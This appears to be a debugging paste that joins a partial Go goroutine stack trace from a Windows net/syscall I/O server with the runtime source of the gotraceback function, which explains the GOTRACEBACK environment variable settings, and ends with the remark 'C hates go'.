goroutine 2 [syscall]:
created by runtime.main
C:\Users\ADMINI~1\AppData\Local\Temp\2\bindist308287094\go\src\pkg\runtime\proc.c:221

goroutine 9 [finalizer wait]:
created by runtime.gc
C:\Users\ADMINI~1\AppData\Local\Temp\2\bindist308287094\go\src\pkg\runtime\mgc0.c:882

goroutine 4 [syscall]:
syscall.Syscall6(0x780a7bd, 0x5, 0x724, 0x10faf640, 0x10fb9508, ...)
C:\Users\ADMINI~1\AppData\Local\Temp\2\bindist308287094\go\src\pkg\runtime\zsyscall_windows_386.c:97 +0x49
syscall.GetQueuedCompletionStatus(0x724, 0x10faf640, 0x10fb9508, 0x10fb9500, 0xffffffff, ...)
C:\Users\ADMINI~1\AppData\Local\Temp\2\bindist308287094\go\src\pkg\syscall\dll\windows.go:489 +0x76
net.(*resultSrv).Run(0x10fb9440, 0x0)
C:\Users\ADMINI~1\AppData\Local\Temp\2\bindist308287094\go\src\pkg\net\fd Windows.go:107 +0x86
created by net.startServer
C:\Users\ADMINI~1\AppData\Local\Temp\2\bindist308287094\go\src\pkg\net\fd Windows.go:211 +0xfc

goroutine 5 [select]:
net.(*ioSrv).ProcessRemoteIO(0x10fb9448, 0x0)
// The GOTRACEBACK environment variable controls the
// behavior of a Go program that is crashing and exiting.
// GOTRACEBACK=0  suppress all tracebacks
// GOTRACEBACK=1  default behavior - show tracebacks but exclude runtime frames
// GOTRACEBACK=2  show tracebacks including runtime frames
// GOTRACEBACK=crash  show tracebacks including runtime frames, then crash

int32 runtime::gotraceback(bool *crash)
{
  byte *p;

  if(crash != nil)
    *crash = false;
  p = runtime::getenv("GOTRACEBACK");
  if(p == nil || p[0] == '\0')
    return 1;  // default is on
  if(runtime::strcmp(p, (byte*)"crash") == 0) {
    if(crash != nil)
      *crash = true;
    return 2;  // extra information
  }
  return runtime::atoi(p);
}
C hates go